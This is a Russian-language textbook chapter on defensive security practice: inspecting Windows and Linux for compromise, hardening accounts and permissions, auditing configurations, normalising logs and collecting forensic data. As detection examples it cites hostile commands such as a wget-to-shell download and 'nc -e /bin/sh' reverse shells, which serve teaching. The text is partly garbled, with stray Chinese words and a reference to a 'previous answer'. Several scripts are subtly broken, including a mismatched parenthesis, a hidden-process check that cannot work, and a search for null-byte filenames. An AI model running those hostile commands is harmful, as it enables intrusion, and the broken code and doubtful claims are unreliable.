Перейти к основному содержимому

7.07. Обеспечение безопасности

Инженеру

Практическая безопасность информационных систем — это не набор инструментов, а дисциплина, в основе которой лежит системное мышление: понимание взаимосвязей между компонентами, предсказуемость поведения при отклонениях и способность к восстановлению после нарушений. Теоретические принципы — триада CIA (Confidentiality, Integrity, Availability), модель угроз, принцип минимальных привилегий — реализуются через конкретные действия: конфигурацию, аудит, мониторинг, реагирование. Данная глава посвящена именно этим действиям. Мы будем рассматривать их как этапы единого процесса, а не как изолированные задачи, и акцентировать внимание на воспроизводимости — способности повторить анализ или защитную меру в любой момент, на любом аналогичном узле.

1. Анализ системы на наличие угроз: Windows и Linux как объекты инспекции

1.1. Общая методология анализа

Анализ угроз в ОС начинается с фиксации базового состояния — эталонной конфигурации, известной как безопасная и стабильная. Любое отклонение от этого состояния — кандидат в аномалию. Однако важно различать статический анализ (осмотр «на холодную», без запуска системы) и динамический (наблюдение за поведением в реальном времени). Для эффективного анализа требуется их сочетание.

Ключевые аспекты инспекции:

  • Целостность: не были ли изменены системные файлы, бинарные образы, конфигурационные файлы?
  • Привилегии: какие процессы запущены с повышенными правами? Какие учётные записи имеют права администратора (Windows) или root/sudo (Linux)?
  • Сеть: какие соединения активны? Какие порты открыты? Какие процессы их удерживают?
  • Поведение: какие процессы загружаются автоматически? Какие задания планируются? Какие драйверы и модули ядра загружены?
  • История: какие команды выполнялись? Какие входы в систему фиксировались?

Ниже — операционно-специфические техники.

1.2. Анализ угроз в Windows

Windows предоставляет богатый набор встроенных средств для диагностики, но их использование требует понимания архитектуры: реестр, службы, планировщик заданий, журналы событий (Event Log), WMI (Windows Management Instrumentation).

Реестр Windows

Иерархическая база данных конфигурационных параметров операционной системы, приложений и оборудования. Структура представлена в виде ветвей (hives), ключей и значений. Физически хранится в системных файлах (например, %SystemRoot%\System32\config\SYSTEM, SOFTWARE, SAM, SECURITY, DEFAULT) и в %UserProfile%\NTUSER.DAT. Реестр загружается в память при старте системы диспетчером конфигурации (Cm), компонентом ядра ntoskrnl.exe.

WMI (Windows Management Instrumentation)

Реализация стандарта CIM (Common Information Model) от DMTF в Windows. Предоставляет унифицированный интерфейс для мониторинга и управления ресурсами системы: оборудованием, службами, процессами, реестром и др.

  • Архитектура: включает WMI Service (winmgmt), репозиторий (%SystemRoot%\System32\wbem\Repository\), поставщиков (providers) и клиентские API.
  • Пространства имён: root\cimv2 (основное), root\securitycenter2, root\wmi и др.
  • Доступ:
    • PowerShell: Get-WmiObject Win32_Process, Get-CimInstance Win32_Service
    • Командная строка: wmic process list brief
    • WQL (WMI Query Language): SELECT * FROM Win32_LogicalDisk WHERE DriveType = 3

Обратите внимание: Get-WmiObject устарел с PowerShell 3.0 в пользу Get-CimInstance, так как последний использует стандартный протокол WS-Management (WinRM) и поддерживает кросс-платформенность.


Привилегии и контексты безопасности в Windows

Windows использует модель security identifiers (SID) и access tokens для управления доступом. Привилегии (Privileges) — это права, назначаемые токенам (например, SeDebugPrivilege, SeBackupPrivilege). Контексты выполнения процессов отличаются по уровням доверия и возможностям:

КонтекстSIDПримечания
SYSTEM (NT AUTHORITY\SYSTEM)S-1-5-18Максимальные привилегии в локальной системе; запускает критические службы (lsass, winlogon, драйверы). Имеет SeTcbPrivilege, SeDebugPrivilege, SeTakeOwnershipPrivilege и др.
LocalService (NT AUTHORITY\LocalService)S-1-5-19Минимальные привилегии, сетевой доступ от имени компьютера (ANONYMOUS LOGON в сети). Используется для непривилегированных служб (например, DHCP Client).
NetworkService (NT AUTHORITY\NetworkService)S-1-5-20Аналогично LocalService, но в сети аутентифицируется как компьютер (например, DOMAIN\COMPUTER$).
TrustedInstaller (NT SERVICE\TrustedInstaller)S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464Владелец и единственный субъект с полным доступом к защищённым системным файлам (например, %SystemRoot%\System32\*). Не является пользователем, а представляет собой службу Windows Modules Installer (TrustedInstaller.exe). Прямой запуск от его имени невозможен; для изменения таких файлов требуется смена владельца или использование DISM/pkgmgr.

Дополнительно:

  • Пользовательские сессии (Logon Session) создаются при интерактивном входе, RDP, службе и пр.
  • Integrity Levels (Mandatory Integrity Control): Low, Medium, High, System. Ограничивают доступ даже при наличии DACL-разрешений (например, IE в режиме защищённого режима — Low IL).

Сбор базовой информации
:: Сведения о системе и пользователе
systeminfo
whoami /all
net user
net localgroup administrators

:: Активные процессы с указанием владельца и PID
tasklist /v /fo csv > processes.csv

:: Службы, запущенные с привилегиями SYSTEM или LocalService с автозапуском
sc queryex type= service state= all | findstr /i "SERVICE_NAME TYPE STATE"
wmic service where "StartMode='Auto' and (StartName='LocalSystem' or StartName='.\LocalService')" get Name,DisplayName,PathName

:: Автозагрузка: реестр и папки Startup
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
dir "%PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\Startup"

Активные соединения и прослушиваемые порты

Отражают состояние сетевого стека (TCP/UDP) на уровне транспорта. Учитываются как IPv4, так и IPv6.

  • Прослушиваемые порты — сокеты в состоянии LISTENING (TCP) или привязанные к адресу/порту (UDP). Означают готовность принять входящее соединение или датаграмму.
  • Активные соединения — established TCP-соединения (ESTABLISHED, TIME_WAIT, CLOSE_WAIT и др.).

Инструменты диагностики:

  • netstat -ano — вывод с PID процессов; флаги:
    -a — все сокеты,
    -n — без разрешения имён (быстрее),
    -o — PID,
    -b — имя исполняемого файла (требует прав администратора).
  • Get-NetTCPConnection, Get-NetUDPEndpoint (PowerShell Core 6+/Windows PowerShell 5.1+).
  • ss -tulnp — в WSL (аналог netstat, но эффективнее).
  • Программно: через GetExtendedTcpTable/GetExtendedUdpTable из iphlpapi.dll.

Обратите внимание: современные приложения могут использовать Winsock Kernel (WSK) и eBPF (начиная с Windows 11 22H2), что может скрывать детали от классических утилит.


Сетевой анализ
:: Активные соединения и прослушиваемые порты (аналог netstat -ano в Linux)
netstat -ano | findstr /v "127.0.0.1"

:: Связь PID с исполняемым файлом
tasklist /fi "PID eq 1234"

:: Более детально — через PowerShell:
Get-NetTCPConnection | Where-Object {$_.State -eq "Listen" -or $_.RemoteAddress -ne "127.0.0.1"} |
Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,State,@{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).Name}}

Журналы событий Windows

Система централизованного сбора, хранения и анализа диагностических и операционных событий. Управляется службой Windows Event Log (eventlog), реализованной как wevtsvc.dll. Журналы разделяются на категории:

КатегорияОсновные поджурналыНазначение
ApplicationApplication, Windows PowerShell, Microsoft-Windows-PowerShell/OperationalСобытия приложений и компонентов пользовательского режима
SystemSystem, HardwareEventsСобытия драйверов, служб, ядра ОС
SecuritySecurityАудит безопасности — входы, доступ к объектам, изменения политик и пр. (требует включения аудита через групповые политики или auditpol)
SetupSetup, WindowsUpdateClientСобытия установки ОС, обновлений, драйверов
ForwardedEventsСобытия, перенаправленные с других узлов по протоколу WS-Management

Доступ возможен через:

  • Графический интерфейс: eventvwr.msc
  • Командная строка: wevtutil.exe (например, wevtutil qe System /f:text /c:5)
  • PowerShell: Get-WinEvent -LogName System -MaxEvents 5
  • Программно: через API Evt* (из wevtapi.dll) или WMI (Win32_NTLogEvent — устаревшее, не поддерживает XML-события)

Журналы событий

Ключевые журналы: Security, System, Application. Особое внимание — событиям с ID:

  • 4624 (успешный вход), 4625 (неудачная попытка),
  • 4688 (создание процесса — включает командную строку, если включено аудит),
  • 4103/4104 (PowerShell-скрипты, если включено логирование скриптов),
  • 7045 (установка службы).

Экспорт критичных событий:

Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4688]]" -MaxEvents 1000 | 
Export-Clixml -Path "process_creation.xml"
Поиск следов компрометации
  • Необычные службы: службы с ImagePath, указывающим в %TEMP%, или с именем, имитирующим системные (svch0st, lsasss.exe).
  • DLL-инъекции: через tasklist /m — список DLL, загруженных в процесс. Сравнение с эталоном (например, чистая установка).
  • WMI-подписки на события — скрытый вектор автозапуска:
    Get-WmiObject -Namespace "root\Subscription" -Class __EventFilter
    Get-WmiObject -Namespace "root\Subscription" -Class __EventConsumer
    Get-WmiObject -Namespace "root\Subscription" -Class __FilterToConsumerBinding

1.3. Анализ угроз в Linux

Linux отличается большей прозрачностью: почти всё — файлы. Это упрощает статический анализ, но усложняет маскировку атакующих — если они не используют rootkit’и уровня ядра.

Сбор базовой информации
# Пользователи и группы
getent passwd
getent shadow | cut -d: -f1,2 # только имена и хэши (не полные строки!)
groups
sudo -l -U $(whoami) 2>/dev/null

# Процессы с UID/GID и аргументами
ps auxf
# или более структурированно:
ps -eo pid,ppid,uid,gid,comm,args --forest

# Сетевые соединения и слушающие сокеты
ss -tulnp # современная замена netstat
lsof -i -P # альтернатива, показывает процессы по FD
Проверка целостности системы
# Критичные файлы: /bin, /sbin, /usr/bin, /etc/passwd и др.
rpm -Va 2>/dev/null | grep -v "^\.\.\.\.\.\.\.\." # для RPM-систем
dpkg --verify 2>/dev/null | grep -v "^\.\.\.\.\.\.\.\." # для deb

# Если пакетный менеджер недоступен — ручная проверка хешей:
sha256sum /bin/ls /usr/bin/curl /etc/passwd > current_hashes.txt
# Сравнение с эталоном: diff current_hashes.txt baseline_hashes.txt
Автозапуск и персистентность
  • cron: crontab -l, /etc/crontab, /etc/cron.d/, /var/spool/cron/crontabs/
  • systemd: systemctl list-unit-files --type=service --state=enabled, systemctl list-timers
  • rc-скрипты: /etc/rc.local, /etc/init.d/, /etc/rc?.d/
  • .bashrc/.profile: проверка на наличие &-процессов, nohup, disown
  • systemd user services: systemctl --user list-unit-files
Поиск скрытых процессов и файлов
  • Процессы, чьи каталоги в /proc/<PID>/ недоступны (возможно, скрыты rootkit’ом):
    for pid in /proc/[0-9]*; do [[ -d "$pid" ]] || echo "Suspicious PID: ${pid##*/}"; done
  • Файлы, удалённые, но удерживаемые процессами («deleted» в lsof):
    lsof +L1  # выводит файлы с link count = 0
  • Файлы с нулевыми именами (техника скрытия через \0):
    find / -name $'*\0*' 2>/dev/null

2. Администрирование систем обеспечения безопасности

Администрирование здесь — не только настройка брандмауэров и антивирусов, а управление конфигурацией как активом безопасности. Конфигурация — это код; она подлежит контролю версий, тестированию, аудиту.

2.1. Безопасная настройка ОС: принципы и практика

Пользователи и привилегии
  • Разделение привилегий: учётные записи разделены на административные, сервисные и пользовательские. Сервисные аккаунты не должны иметь интерактивного входа (/sbin/nologin в Linux, Deny logon в Windows GPO).
  • Принцип наименьших привилегий (PoLP): даже администраторы используют стандартные аккаунты для повседневных задач; повышение привилегий — только через sudo (Linux) или Run as administrator (Windows), с логированием.
  • Многофакторная аутентификация (MFA): обязательна для всех привилегированных аккаунтов. В Linux — через PAM + модули (например, libpam-google-authenticator); в Windows — через Azure AD MFA или аналоги.
Пользовательские учетные записи

Учётные записи, предназначенные для интерактивной работы людей. Идентифицируются уникальным SID, привязаны к профилю пользователя (реестр: HKEY_USERS\<SID>, файлы: %SystemDrive%\Users\<Name>).

Типы:

  • Локальные — хранятся в SAM-базе (%SystemRoot%\System32\config\SAM), управляются локально (через lusrmgr.msc, net user, PowerShell LocalUser).
  • Доменные — управляются контроллером домена (Active Directory), реплицируются в кэш凭据 (LSA secrets) на клиентских машинах при входе.

Атрибуты:

  • USER_ACCOUNT_DISABLED, PASSWORD_EXPIRED, DONT_EXPIRE_PASSWORD и др. (флаги в userAccountControl).
  • Принадлежность к группам (например, Users, Remote Desktop Users).
  • Профиль может быть локальным, бродячим (roaming) или обязательным (mandatory).

Административные учетные записи

Учётные записи с расширенными правами, позволяющими изменять состояние системы: управление службами, политиками безопасности, доступ ко всем объектам через владение или привилегии (например, SeTakeOwnershipPrivilege).

Ключевые особенности:

  • Встроенные административные учётные записи:
    • Administrator (SID: S-1-5-21-domain-500) — локальный администратор; отключён по умолчанию в доменных средах, активен на рабочих станциях (но скрыт при наличии других администраторов).
    • Domain Admins (SID: S-1-5-21-domain-512) — члены этой группы получают административные права на всех компьютерах домена.
  • Принцип минимальных привилегий (PoLP): рекомендуется использовать стандартные учётные записи для повседневной работы и повышать привилегии через UAC (запуск от имени администратора) или Run as different user.
  • Защита администраторов:
    • Admin Approval Mode (UAC) — даже для администраторов процессы по умолчанию запускаются с Medium IL.
    • Protected Users (группа безопасности) — запрещает NTLM-аутентификацию, кэширование凭据, атаки pass-the-hash.
    • LAPS (Local Administrator Password Solution) — автоматическая ротация паролей локальных администраторов.

Важно: членство в группе Administrators (SID S-1-5-32-544) даёт право получать токен с полным набором привилегий, но не присваивает их автоматически — требуется elevation.


Сервисные учетные записи

Учётные записи, предназначенные исключительно для запуска служб и фоновых задач, без интерактивного входа. Используются для изоляции, аудита и управления жизненным циклом.

Типы (по способу управления и безопасности):

ТипSID-префикс / ПримерУправлениеПримечания
Встроенные системные учётные записиNT AUTHORITY\* (см. предыдущий ответ)СистемноеLocalSystem, LocalService, NetworkService, TrustedInstaller — не являются пользователями, не имеют паролей, управляются ОС.
Учётные записи доменаDOMAIN\svc_sql, DOMAIN\svc_iisРучноеТребуют ротации паролей, риски при компрометации.
gMSA (Group Managed Service Account)DOMAIN\svc_sql$Автоматическое (AD)Пароль управляется AD (256-битный AES), ротируется каждые 30 дней. Поддерживается начиная с Windows Server 2012. Требует msDS-GroupMSAMembership.
sMSA (Standalone Managed Service Account)Локальный аналог gMSAАвтоматическое (локально)Устаревшее; заменено на gMSA.
Virtual AccountsNT SERVICE\serviceNameСистемноеДинамически создаются при запуске службы; имеют уникальный SID (S-1-5-80-*), изолированы, не требуют управления. Используются по умолчанию для многих служб (например, SQL Server (MSSQLSERVER)).
Application Pool Identities (IIS)IIS AppPool\DefaultAppPoolСистемноеРеализованы как виртуальные учётные записи, имеют уникальный SID и профиль (%SystemDrive%\inetpub\temp\apppools\...).

Безопасность:

  • Сервисные учётные записи не должны иметь прав на вход в интерактивный сеанс (политика Deny log on locally, SeDenyInteractiveLogonRight).
  • Рекомендуется назначать минимально необходимые права через групповые политики (User Rights Assignment) и DACL.
  • Учётные записи с флагом $ (например, svc_sql$) — это учётные записи компьютера или gMSA, а не пользовательские.

Права доступа: модель DAC (Discretionary Access Control)

В обеих ОС права строятся на трёх субъектах: владелец, группа, остальные — и трёх действиях: чтение, запись, исполнение.

Linux: chmod, chown, setfacl, getfacl
  • chmod 600 /etc/shadow — только владелец может читать/писать.
  • chmod 750 /opt/app — владелец: rwx, группа: r-x, остальные: ---.
  • Расширенные ACL (setfacl):
    setfacl -m u:backup:r-- /etc/shadow    # разрешить пользователю backup читать shadow
    setfacl -d -m g:dev:rw- /srv/data # установить умолч. ACL для новых файлов
    getfacl /etc/shadow # просмотр
    Важно: ACL не заменяют POSIX-права, а дополняют их. Если ACL отсутствует — применяются chmod. Если есть — он имеет приоритет.
Windows: icacls, cacls (устарело), ACL через PowerShell
:: Запретить доступ Everyone к папке
icacls "C:\Secrets" /deny Everyone:F

:: Дать пользователю read-only
icacls "C:\Reports" /grant Timur:(R)

:: Экспорт ACL
icacls "C:\Data" /save acls.txt

:: Импорт
icacls "D:\NewData" /restore acls.txt

В PowerShell более гибко:

$acl = Get-Acl "C:\Secure"
$ace = New-Object System.Security.AccessControl.FileSystemAccessRule("Timur","Read","Allow")
$acl.AddAccessRule($ace)
Set-Acl "C:\Secure" $acl
Аудит конфигураций: отклонения от эталона

Эталонная конфигурация — это состояние системы, прошедшее проверку безопасности (например, через CIS Benchmark). Автоматизированный аудит — регулярное сравнение текущего состояния с эталоном.

Пример: validateconfig.sh — универсальный скрипт аудита (Linux)
(Скрипт можно адаптировать под задачи; ниже — каркас.)

#!/bin/bash
# validateconfig.sh — проверка целостности и конфигурации

ETALON_DIR="/opt/security/etalon"
REPORT="/var/log/security/audit_$(date +%F_%H%M).log"

log() { echo "[$(date +'%Y-%m-%d %H:%M:%S')] $1" | tee -a "$REPORT"; }

log "=== Запуск аудита конфигурации ==="

# 1. Проверка хешей критичных файлов
log "Проверка контрольных сумм..."
diff <(sha256sum /etc/passwd /etc/shadow /bin/ls) "$ETALON_DIR/file_hashes.sha256" || log "ВНИМАНИЕ: несоответствие хешей"

# 2. Проверка списка пользователей
log "Проверка учётных записей..."
diff <(getent passwd | cut -d: -f1 | sort) "$ETALON_DIR/users.list" || log "ВНИМАНИЕ: несанкционированные пользователи"

# 3. Проверка открытых портов
log "Проверка сетевых портов..."
CURRENT_PORTS=$(ss -tuln | awk 'NR>1 {print $5}' | sort -u)
diff <(echo "$CURRENT_PORTS") "$ETALON_DIR/ports.list" || log "ВНИМАНИЕ: неожиданные открытые порты"

# 4. Проверка установленных пакетов (белый список)
log "Проверка ПО..."
INSTALLED=$(dpkg-query -W -f='${Package}\n' | sort)
diff <(comm -13 "$ETALON_DIR/whitelist.txt" <(echo "$INSTALLED"))) /dev/null || \
log "ВНИМАНИЕ: обнаружено ПО вне белого списка: $(comm -13 "$ETALON_DIR/whitelist.txt" <(echo "$INSTALLED"))"

log "=== Аудит завершён ==="

Аналог для Windows — PowerShell-скрипт с использованием Get-FileHash, Get-LocalUser, Get-NetTCPConnection, Get-WindowsFeature, Get-Package.

Проверка установленного ПО
  • Linux: dpkg -l, rpm -qa, snap list, flatpak list — формирование белого списка (whitelist) допустимых пакетов. Внешние пакеты — только из доверенных репозиториев с подписью (GPG).
  • Windows: wmic product get name,version, Get-Package, Get-WindowsFeature. Критично — проверка цифровых подписей исполняемых файлов:
    Get-ChildItem C:\Program\Files -Recurse -Include *.exe,*.dll | 
    ForEach-Object {
    $sig = Get-AuthenticodeSignature $_.FullName
    if ($sig.Status -ne "Valid") { Write-Host "Неподписанный: $($_.FullName)" }
    }
Журналирование и оповещение

Журналы — первичный источник данных для анализа. Но запись — лишь первый шаг; важно — доставка, хранение, анализ.

  • Локальное журналирование:

    • Linux: rsyslog/syslog-ng + journald. Настройка шаблонов, фильтрация, ротация.
    • Windows: Event Log, настраиваемый через GPO или wevtutil.
  • Удалённая пересылка:

    • Linux → SIEM: rsyslog в режиме omfwd (TCP/UDP) или omelasticsearch.
    • Windows → SIEM: через WinRM, nxlog, или встроенный Windows Event Forwarding (WEF).
  • Оповещение по событию:

    # Пример: оповещение при входе root
    # В /etc/rsyslog.conf:
    # :programname, isequal, "sudo" /var/log/sudo.log
    # В /etc/logcheck/logcheck.logfiles: добавить /var/log/sudo.log
    # В /etc/logcheck/violations.d/local: добавить "root"
    # → logcheck отправит email при совпадении.

    # Прямой вызов (не для продакшена, но для тестов):
    logger -t "SECURITY" "Root shell invoked"
    echo "ALERT: root shell" | mail -s "SECURITY EVENT" admin@example.com

Windows:

eventcreate /t WARNING /id 1001 /l APPLICATION /d "Suspicious activity detected"

…интегрируется с мониторингом через Event Log Subscriptions.


3. Жизненный цикл обеспечения безопасности

Безопасность — не разовое действие, а повторяющийся цикл. Его этапы не всегда строго последовательны (например, реагирование может инициировать новый сбор данных), но логически связаны. В практике он реализуется как конвейер обработки событий безопасности (security event pipeline).

3.1. Сбор (Collection)

Сбор — это фиксация состояния и событий. Он должен быть:

  • Полным — охватывать все критичные подсистемы (см. ниже),
  • Детерминированным — при повторном запуске на идентичной системе давать идентичный результат,
  • Минимизирующим воздействие — не нарушать работу системы (например, избегать find / -type f без ограничений),
  • Защищённым — данные не должны подменяться в процессе сбора.

Ключевой принцип: сбор — это не «копирование всего», а целенаправленное извлечение артефактов, релевантных гипотезам угроз. Например, при подозрении на web-эксплуатацию собираем не все логи, а:

  • access.log и error.log веб-сервера,
  • историю команд (~/.bash_history, Get-History в PowerShell),
  • временные файлы (/tmp, %TEMP%),
  • записи автозапуска (cron, службы и др.).

3.2. Анализ (Analysis)

Анализ — интерпретация собранных данных. Он бывает:

  • Сигнатурный: сравнение с известными шаблонами (например, хеш вредоноса, строка wget http://.../malware.sh | sh).
  • Аномальный: выявление отклонений от эталона (например, резкий рост числа fork() в секунду).
  • Корреляционный: сопоставление событий из разных источников (вход по SSH + запуск nc -e /bin/sh в течение 30 сек).

Важно: анализ требует контекста. Одно и то же событие (например, netstat -an | grep :4444) может быть легитимным (тестовый сервис) или зловредным (reverse shell). Контекст формируется из:

  • времени события (ночное время — выше подозрительность),
  • пользователя (привилегированный аккаунт — выше риски),
  • предыстории (ранее не наблюдалось),
  • конфигурации (порт 4444 явно не объявлен в документации).

3.3. Реагирование (Response)

Реагирование — действия, направленные на устранение угрозы и сдерживание последствий. Оно подразделяется на:

УровеньДействияПример
ТехническийБлокировка IP, остановка процесса, отзыв правiptables -A INPUT -s 192.168.5.100 -j DROP
ОперационныйИзоляция хоста, отключение от сетиnmcli networking off, отключение VLAN
ПроцессныйИзменение процедур, обучение персоналаВнедрение MFA, тренинг по фишингу
СтратегическийПересмотр архитектуры, инвестиции в безопасностьМиграция на zero-trust, аудит поставщиков

Реагирование всегда сопровождается документированием: кто, когда, что сделал и почему. Это необходимо для последующего анализа инцидента (post-mortem).

3.4. Контроль (Review / Control)

Контроль — завершающий, но не конечный этап. Он включает:

  • Верификацию эффективности мер: например, повторный запуск validateconfig.sh после патчинга,
  • Обновление эталонов: если изменение легитимно (новая служба), его следует внести в baseline,
  • Ретроспективу: «Что позволило угрозе реализоваться? Какие контрмеры не сработали?»,
  • Измерение метрик: MTTR (Mean Time to Respond), количество ложных срабатываний, покрытие аудита.

Цикл замыкается: выводы из контроля формируют новые гипотезы и уточняют параметры следующего сбора.


4. Роль автоматизации и командной строки в оперативной защите

Автоматизация — не замена эксперту, а расширение его когнитивных и исполнительных возможностей. В условиях инцидента время измеряется минутами; ручной перебор конфигурационных файлов неприемлем.

Командная строка (CLI) — универсальный интерфейс автоматизации, потому что:

  • она стабильна: API GUI меняются, CLI — редко,
  • она скриптуема: команды легко встраиваются в bash/PowerShell,
  • она потоково-ориентированна: данные передаются как текст, что позволяет строить конвейеры (|),
  • она минималистична: не требует GUI-сессии, работает по SSH/WinRM даже при высокой загрузке.

Пример: обнаружение массового сканирования SSH за 10 секунд на сотне серверов:

# На одном хосте
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | head -5

# На кластере через pdsh (Parallel Distributed Shell)
pdsh -w node[01-50] 'grep "Failed password" /var/log/auth.log | awk "{print \$11}" | sort | uniq -c' | \
awk '{ip[$2]+=$1} END {for (i in ip) print ip[i], i}' | sort -nr | head -10

То же — через SIEM, но с задержкой в часы. CLI даёт первичную оценку.


5. Какие данные критичны и почему

Критичность данных определяется не их объёмом, а потенциальным ущербом от утраты/подмены/блокировки. В контексте анализа безопасности критичны следующие категории:

КатегорияПримерыПочему критичны
Идентификационные и аутентификационные данные/etc/shadow, SAM, LSASS-дампы, ~/.ssh/id_rsa, токены APIПозволяют получить доступ к системам; компрометация = полная потеря контроля.
Конфигурационные артефакты/etc/sudoers, GPO, web.config, nginx.confИзменение — изменение поведения системы (например, отключение логирования).
Состояние выполнения (runtime state)Список процессов, открытые сокеты, загруженные модули ядраПоказывает, что происходит сейчас; статические артефакты могут быть «замаскированы» (например, cron удалён, но процесс уже запущен).
Аудиторские журналыauth.log, Security.evtx, auditd-логиЕдинственный объективный источник о действиях; их удаление/подмена — признак скрытой компрометации.
Сетевые метаданныеТаблицы conntrack, netstat -ano, ss -i (статистика), tcpdump-сниффыПозволяют реконструировать каналы командования и контроля (C2), выявить туннелирование (DNS, ICMP).

Данные не критичны сами по себе — критична информация, извлекаемая из них. Например, tcpdump -i eth0 port 53 -w dns.pcap — не критичен; но из него можно извлечь домены C2.


6. Работа с журнальными файлами (логами)

Логи — основной источник для анализа. Но «сырые» логи — не данные, а потенциал данных. Их ценность реализуется только после обработки.

6.1. Структура и источники логов

ОСИсточникПуть / КомандаФормат
LinuxЯдроdmesg, /var/log/kern.logНеструктурированный текст, временные метки в виде [12345.678901]
Системные службы/var/log/syslog, /var/log/messagesRFC 3164 (устаревший syslog): <PRI>timestamp host app: msg
Аутентификация/var/log/auth.log, /var/log/secureАналогично syslog, но с sshd, sudo, pam
Приложения/var/log/nginx/access.log, journalctl -u appЧасто собственный формат (например, NCSA Combined Log)
WindowsСистемные событияEvent Viewer → Windows LogsСтруктурированный XML (в .evtx), поля: EventID, TimeCreated, EventData, UserID
ПриложенияApplication and Services LogsТо же, но с кастомными каналами
PowerShellMicrosoft-Windows-PowerShell/OperationalЛогирует Start-Process, Invoke-Expression и др. при включённом Script Block Logging

6.2. Проблемы сырых логов

  • Разнородность: один и тот же факт (вход в систему) логируется по-разному в auth.log (Accepted publickey...), journalctl (JSON с _UID=1001), и Windows Event ID 4624 (структурированный XML).
  • Избыточность: 99% логов — штатные события («NTP sync successful»).
  • Шум: ошибки приложений, сетевые таймауты, «безопасные» сканеры (например, Shodan).
  • Неоднозначность временных меток: локальное время, UTC, отсутствие временной зоны, задержки записи.
  • Фрагментация: одно событие — несколько записей (например, запуск службы: 1) запись в systemd, 2) auditd, 3) journal).

6.3. Парсинг и нормализация

Цель нормализации — приведение логов к единому каноническому формату, например, JSON с полями:

{
"timestamp": "2025-11-07T14:23:01Z",
"host": "srv-web-03",
"source": "sshd",
"event_id": "auth_success",
"user": "deploy",
"src_ip": "203.0.113.42",
"raw": "Accepted publickey for deploy from 203.0.113.42 port 51234 ssh2"
}
Инструменты обработки
  • grep — фильтрация по шаблону:
    grep "Failed password" /var/log/auth.log
  • cut/awk — извлечение полей:
    awk '{print $1,$2,$3,$9,$11}' /var/log/auth.log  # время, пользователь, IP
  • sed — замена и преобразование:
    sed 's/Nov \([0-9]\+\) \([0-9:]\+\)/2025-11-\1T\2Z/'  # нормализация даты
  • tr — трансляция символов:
    tr -s ' '  # сжать множественные пробелы → один
  • jq — работа с JSON:
    journalctl -u nginx -o json | jq '{ts: .__REALTIME_TIMESTAMP, msg: .MESSAGE}'
Пример: нормализация Nginx access.log

Исходная строка (NCSA Combined):

203.0.113.42 - - [07/Nov/2025:14:23:01 +0300] "GET /api/v1/users HTTP/1.1" 200 1024 "-" "curl/7.68.0"

Конвейер:

awk '{
ip=$1;
dt=$4;
gsub(/\[|\]/, "", dt);
split(dt, d, ":");
date=d[1]; time=d[2]":"d[3]":"d[4];
split(date, ds, "/");
month=(index("JanFebMarAprMayJunJulAugSepOctNovDec", ds[2])+2)/3;
printf "%04d-%02d-%02dT%sZ\t%s\t%s\n", ds[3], month, ds[1], time, ip, $7
}' /var/log/nginx/access.log

Результат:

2025-11-07T14:23:01Z	203.0.113.42	/api/v1/users

Теперь данные можно агрегировать:

... | awk '{count[$2]++} END {for (ip in count) print ip, count[ip]}'

7. Системные источники информации

Помимо логов, критична прямая инспекция состояния.

7.1. Процессы

  • Linux: /proc — виртуальная ФС. Каждый PID — каталог. Ключевые файлы:
    • /proc/<PID>/cmdline — аргументы (нулевые разделители → tr '\0' ' '),
    • /proc/<PID>/environ — переменные окружения,
    • /proc/<PID>/fd/ — открытые дескрипторы (сокеты, файлы),
    • /proc/<PID>/maps — отображённая память (можно искать [stack], [heap], аномальные .so).
  • Windows: Process Hacker, Sysinternals Suite (procexp.exe, handle.exe), или через PowerShell:
    Get-Process | ForEach-Object {
    $proc = $_
    $proc.Modules | ForEach-Object {
    if ($_.FileName -notlike "C:\Windows\*") {
    [PSCustomObject]@{Process=$proc.Name; Module=$_.FileName}
    }
    }
    }

7.2. Сеть

  • Linux:
    • ss -i — статистика по соединениям (RTT, retrans),
    • /proc/net/tcp — «сырой» дамп TCP-таблицы (состояния в цифрах: 01=ESTABLISHED),
    • iptables -L -n -v — правила фильтрации.
  • Windows:
    • netsh advfirewall show allprofiles — статус брандмауэра,
    • Get-NetFirewallRule | Where-Object Enabled -eq $true — активные правила.

7.3. Реестр (Windows)

Ключевые ветки для анализа:

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run* — автозагрузка,
  • HKLM\SYSTEM\CurrentControlSet\Services — службы (проверка ImagePath, Start),
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU — недавние запуски,
  • HKLM\SECURITY\Policy\Secrets — учётные данные (доступны только SYSTEM).

Экспорт для анализа:

reg export HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run run_keys.reg

7.4. Файловая система

  • Скрытые атрибуты:
    • Linux: lsattr /etc/passwd (атрибуты ext2/3/4: i = immutable),
    • Windows: attrib +h +s malware.exe.
  • Временные метки: stat file, Get-ItemProperty file | fl *time*. Аномалии: mtime > atime (редко в легитимных сценариях), нулевые времена.

8. Удалённый сбор и безопасная передача данных

Сбор на заражённой системе рискован: атакующий может перехватить трафик или подменить скрипты. Принципы безопасного сбора:

  1. Сбор с минимальной зависимостью от локальных ресурсов — скрипты передаются «на лету»:

    ssh user@host 'curl -s https://trusted.example.com/bin/collector.sh | bash -s -- --mode=forensic'
  2. Хеширование и подпись — скрипты подписываются GPG; перед запуском — верификация:

    gpg --verify collector.sh.sig collector.sh && bash collector.sh
  3. Шифрование на лету — передача через openssl или gpg:

    tar czf - /proc/net/tcp /etc/passwd | openssl enc -aes-256-cbc -pbkdf2 | nc collector 9999

8.1. Примеры скриптов сбора

Сбор через SSH (Linux)
#!/bin/bash
# remote_collect.sh — вызывается удалённо

HOST=$(hostname -s)
TIMESTAMP=$(date -u +%Y%m%dT%H%M%SZ)
OUT_DIR="/tmp/forensic_$HOST"
mkdir -p "$OUT_DIR"

# 1. Состояние процессов
ps auxfww > "$OUT_DIR/processes.txt"
cat /proc/*/cmdline 2>/dev/null | tr '\0' '\n' > "$OUT_DIR/cmdlines.txt"

# 2. Сеть
ss -tulnp > "$OUT_DIR/net_ss.txt"
cat /proc/net/tcp /proc/net/udp > "$OUT_DIR/net_raw.txt"

# 3. Пользователи
